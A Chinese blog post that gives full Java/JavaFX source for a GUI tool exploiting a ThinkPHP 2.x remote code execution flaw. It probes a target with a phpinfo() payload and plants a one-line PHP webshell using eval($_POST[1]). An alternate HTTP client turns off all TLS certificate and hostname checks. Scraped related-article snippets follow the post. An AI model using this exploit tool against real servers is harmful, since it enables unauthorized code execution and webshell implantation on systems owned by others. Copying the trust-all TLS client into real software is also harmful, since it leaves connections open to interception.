一个小demo

news/2024/12/25 20:28:33/文章来源:https://www.cnblogs.com/yingzui/p/18631355

懒得讲了,直接看代码吧

pox.xml<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>Gui_demo</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>com.squareup.okhttp3</groupId><artifactId>okhttp</artifactId><version>4.9.3</version></dependency></dependencies>
</project>
HttpRequest.java
//这个可以直接拿来用
import java.io.IOException;import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;public class HttpRequest {public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");OkHttpClient client = new OkHttpClient();public String get(String url) throws IOException {Request request = new Request.Builder().url(url).build();Response response = client.newCall(request).execute();return response.body().string();}public String post(String url, String json) throws IOException {RequestBody body = RequestBody.create(JSON, json);Request request = new Request.Builder().url(url).post(body).build();Response response = client.newCall(request).execute();return response.body().string();}}
Thinkphp.javaimport java.io.IOException;public class Thinkphp {public static String run(String target) throws IOException {HttpRequest request = new HttpRequest();
//        System.out.println(request.get("http://192.168.126.137:18832/index.php?s=/index/index/name/$%7B@phpinfo()%7D"));String response = request.get(target + "index.php?s=/index/index/name/$%7B@phpinfo()%7D");return response;}public static String shell(String target) throws IOException {HttpRequest request = new HttpRequest();request.get(target + "index.php?s=/index/index/name/${@print(eval($_POST[1]))}");String shl = target + "index.php?s=/index/index/name/${@print(eval($_POST[1]))}";return shl;}}
GuiDemo.javaimport javafx.application.Application;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;import java.io.IOException;public class GuiDemo extends Application {      //创建一个GuiDemo类,GuiDemo继承Application类@Overridepublic void start(Stage primaryStage) throws Exception {//标签Label label = new Label("请输入目标");label.setLayoutX(5);label.setLayoutY(10);label.setPrefWidth(70);label.setPrefHeight(20);
//        label1.setOpacity(0.5);//设置透明度//目标文本框TextArea textArea = new TextArea();textArea.setLayoutX(75);        //设置文本框的横坐标textArea.setLayoutY(5);         //设置文本框的纵坐标textArea.setPrefWidth(220);     //设置文本框的宽度textArea.setPrefHeight(20);     //设置文本框的高度textArea.setText("请输入目标ip或者域名......");//验证按钮Button button = new Button("验证");button.setLayoutX(310);button.setLayoutY(10);button.setPrefHeight(20);button.setPrefWidth(50);//传shell按钮Button button1 = new Button("写入一句话木马");button1.setLayoutX(370);button1.setLayoutY(10);button1.setPrefHeight(20);button1.setPrefWidth(100);//结果文本框TextArea textArea1 = new TextArea();textArea1.setLayoutX(5);        //设置文本框的横坐标textArea1.setLayoutY(50);         //设置文本框的纵坐标textArea1.setPrefWidth(500);     //设置文本框的宽度textArea1.setPrefHeight(300);     //设置文本框的高度textArea1.setWrapText(true);//        设置按钮鼠标点击事件button.setOnAction(new EventHandler<ActionEvent>() {@Overridepublic void handle(ActionEvent event) {String url = textArea.getText();try {String response = Thinkphp.run(url);if (response.contains("PHP Version")) {textArea1.setText("存在此漏洞");}} catch (IOException e) {textArea1.setText("不存在此漏洞或者网络异常!!!");}}});//如果点击上传一句话按钮,那么先判断漏洞是否存在,如果存在就发送上传一句话请求,并且把一句话链接输出到textAreabutton1.setOnAction(new EventHandler<ActionEvent>() {@Overridepublic void handle(ActionEvent event) {String url = textArea.getText();try {String response = Thinkphp.run(url);if (response.contains("PHP Version")) {textArea1.setText("一句话木马是:\n" + Thinkphp.shell(url));}} catch (IOException e) {textArea1.setText("不存在此漏洞或者网络异常!!!");}}});//布局1AnchorPane pane1 = new AnchorPane();pane1.getChildren().addAll(label, button, button1, textArea, textArea1);//场景Scene scene1 = new Scene(pane1, 510, 400);//主要的舞台/窗口primaryStage.setTitle("ThinkPHP 2.x 任意代码执行漏洞 made by yz");primaryStage.setScene(scene1);/*窗口设置场景*/primaryStage.show();}public static void main(String args[]) {launch(args);}
}
Main.javapublic class Main {public static void main(String[] args) {GuiDemo.main(args);}
}

虽然很简陋,但是基本功能是有了,其他的就是多加一些功能啥的,可以自由发挥。

特别要注意的是,考虑到目标网站可能是 https 网站,那么可以把场面 HttpRequest.java 文件换成以下:


import okhttp3.*;import javax.net.ssl.*;
import java.io.IOException;public class HttpRequest {public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");//    static OkHttpClient client = new OkHttpClient();//下面是跳过https网站证书验证的,我直接复制的public static OkHttpClient getUnsafeOkHttpClient() {try {final TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {@Overridepublic void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic java.security.cert.X509Certificate[] getAcceptedIssuers() {return new java.security.cert.X509Certificate[]{};}}};final SSLContext sslContext = SSLContext.getInstance("SSL");sslContext.init(null, trustAllCerts, new java.security.SecureRandom());final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();OkHttpClient.Builder builder = new OkHttpClient.Builder();builder.sslSocketFactory(sslSocketFactory);builder.hostnameVerifier(new HostnameVerifier() {@Overridepublic boolean verify(String hostname, SSLSession session) {return true;}});return builder.build();} catch (Exception e) {throw new RuntimeException(e);}}public String get(String url) throws IOException {Request request = new Request.Builder().url(url).build();OkHttpClient client = getUnsafeOkHttpClient();Response response = client.newCall(request).execute();return response.body().string();}public String post(String url, String json) throws IOException {RequestBody body = RequestBody.create(JSON, json);Request request = new Request.Builder().url(url).post(body).build();OkHttpClient client = getUnsafeOkHttpClient();Response response = client.newCall(request).execute();return response.body().string();}}

参考

JAVA-GUI 工具的编写-----事件篇 (qq.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/858813.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个 Bug JDK 居然改了十年?

你敢相信么一个简单的Bug,JDK 居然花了十年时间才修改完成。赶快来看看到底是个什么样的 Bug?问题现象 今天偶然看到了一个 JDK 的 Bug,给大家分享一下。 假设现在有如下的代码: List<String> list = new ArrayList<>(); list.add("1"); Object[] ar…

崩溃列表数据库查询(可供参考)

首先去https://weikezhijia.feishu.cn/sheets/BIvxsKZhHhzpC6tDyoLcPE50n4d?sheet=9ikXjx 看库中导出指标,然后可以查到是rum_error表,然后去ors_rum_test服务器,ors_rum_test数据库,rum_error表去查询,结合点击全部按钮后查看F12 然后查看preView里的字段,结合着去查rum…

流量分析练习

flag明文 题目:key.pcapng查找flag或者flag{,我们在下图查找到所需要的flag本类题目特点:能够在字节流中直接查找到带有flag的字符串,不存在加解密或转换等,属于明文形式 2.flag编码 题目:64da5a4a1e024d198dfa307299965b6d.pcapng本题考到十六进制编码 将flag转成十六进…

哪里有 class 告诉我?

说明 本文中的 JVM 参数和代码在 JDK 8 版本生效。 哪里有用户类? 用户类是由开发者和第三方定义的类,它是由应用程序类加载器加载的。 Java 程序可以通过CLASSPATH 环境变量,JVM 启动参数 -cp 或者 -classpath 指定用户需要加载的类的路径。这两个配置的优先级从低到高,后…

python多进程之间通讯,消息队列Queue

代码:from multiprocessing import Process, Queuedef producer(q):myinfo = "包子"q.put(myinfo)print(f"生产了{myinfo}")myinfo = "饺子"q.put(myinfo)print(f"生产了{myinfo}\n") 生产了4个,消费5个def consumer(q):print(f&q…

使用DBeaver连接带有Kerberos认证的hive(亲测可用)

先下载工具 https://yvioo.lanzn.com/isBg42j0fu7e里面是两个文件 一个jar包 一个安装包 首先点击kfw-4.1-amd64.msi 进行安装,建议直接默认配置安装 选择"TYPE" 安装完成后 点击 1、先配置环境变量 第一个变量名:KRB5_CONFIG 变量值: 这个就是Kerberos认证给的k…

【QTTabBar】批量去除当前文件夹的所有文件只读属性

使用方法参考: https://www.cnblogs.com/issacnew/p/18392262// 作者:博客园-issacnew // 网站:https://www.cnblogs.com/issacnew/p/18392262 // 作用:qttabbar去除当前文件夹下的所有文件只读属性,使得所有文件可读var qs = new ActiveXObject("QTTabBarLib.Script…

C#使用Python.NET执行Python脚本文件踩坑总结

在VS,Nuget包管理器搜索“Python.NET”,安装pythonnet包,如下图: C#使用Python.NET执行Python脚本文件,C#代码如下:1 public class PythonExecuter2 {3 private readonly string _pythonDllPath;4 private readonly string _workDir;5 6 public PythonExecut…

PoerPC平台下的ethtool工具的编译

1. 编译器安装 2. 编译过程 参考:ethtool工具源码交叉编译_ethtool交叉编译-CSDN博客 注:步骤3中的config配置中,通过sudo apt-get install pkg-config libmnl-dev修复完问题后,需要重新执行一次步骤2中的./autogen.sh下载目标程序

微信小程序开发总结

业务需要,最近又搞起了微信小程序,之前从来没有参与过小程序的开发,对于开发中的流程也是知之甚少,正好学习一下,开搞... 前提:使用企业注册小程序 微信认证 小程序备案 [本地开发] 1.获取appid和secret 管理 > 开发管理 获取即可, 需要管理员扫码确认这里获取到的appid在使…

windows 下面使用 celery 管理定时任务

Python 实现定时任务有以下几种思路使用子进程(现成)+ time.sleep 间隔执行 使用现有的库管理定时任务如,celery, tornado等 使用系统的机制执行linux 下面 crontab ,windows 下面taskschd.msc本次调查 celery 这个常用的异步任务管理框架,它有一下好处支持分布式 支持任…

Goby 漏洞发布|CVE-2024-9047 WordPress File Upload 插件 wfu_file_downloader.php 任意文件读取漏洞

漏洞名称:CVE-2024-9047 WordPress File Upload 插件 wfu_file_downloader.php 任意文件读取漏洞 English Name:CVE-2024-9047 WordPress File Upload Plugin wfu_file_downloader.php Arbitrary File Read Vulnerabilit CVSS core: 6.8 漏洞描述: WordPress File Upload插件…